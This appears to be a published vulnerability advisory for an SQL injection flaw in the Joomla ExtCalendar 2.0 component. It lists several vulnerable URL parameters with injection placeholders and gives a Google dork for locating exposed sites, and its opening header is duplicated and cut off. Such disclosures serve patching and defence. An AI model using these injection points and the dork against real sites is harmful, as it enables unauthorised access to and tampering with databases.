####################################################################

# Exploit Title : Joomla ExtCalendar 2.0 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# T ####################################################################

# Exploit Title : Joomla ExtCalendar 2.0 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 12/02/2019
# Vendor Homepage : sourceforge.net/projects/extcal/ - github.com/simoami
# Software Download Link : sourceforge.net/projects/extcal/files/latest/download
# Software Information Link : softaculous.com/apps/calendars/ExtCalendar
# Software Version : 2.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_extcalendar''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
ExtCalendar is an open-source calendar application, with an integrated event managemt system.

ExtCalendar is a powerful multi-user web-based calendar application.

Features include Multi-Languages, Themes, Recurrent Events, Categories, Users and

Groups management, Environment and General Settings, Template Configuration, Product Updates.

####################################################################

# Impact :
***********
Joomla ExtCalendar 2.0 and other versions -

component for Joomla is prone to an SQL-injection vulnerability because it

fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application,

access or modify data, or exploit latent vulnerabilities in the underlying database.

A remote attacker can send a specially crafted request to the vulnerable application

and execute arbitrary SQL commands in application`s database.

Further exploitation of this vulnerability may result in unauthorized data manipulation.

An attacker can exploit this issue using a browser.

####################################################################

# SQL Injection Exploit :
**********************
/index.php?option=com_extcalendar&Itemid=[SQL Injection]

/index.php?option=com_extcalendar&Itemid=[SQL Injection]&extmode=cats

/index.php?option=com_extcalendar&Itemid=[ID-NUMBER]&extmode=view&extid=[SQL Injection]

/index.php?option=com_extcalendar&Itemid=[ID-NUMBER]&extmode=cal&date=[YEAR]-[MONTH]-[DAY][SQL Injection]

/index.php?option=com_extcalendar&Itemid=[ID-NUMBER]&extmode=flyer&date=[YEAR]-[MONTH]-[DAY][SQL Injection]

/components/com_extcalendar/cal_popup.php?extmode=view&extid=[SQL Injection]

[PATH]/calendar.php?mode=cat&cat_id=[SQL Injection]

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################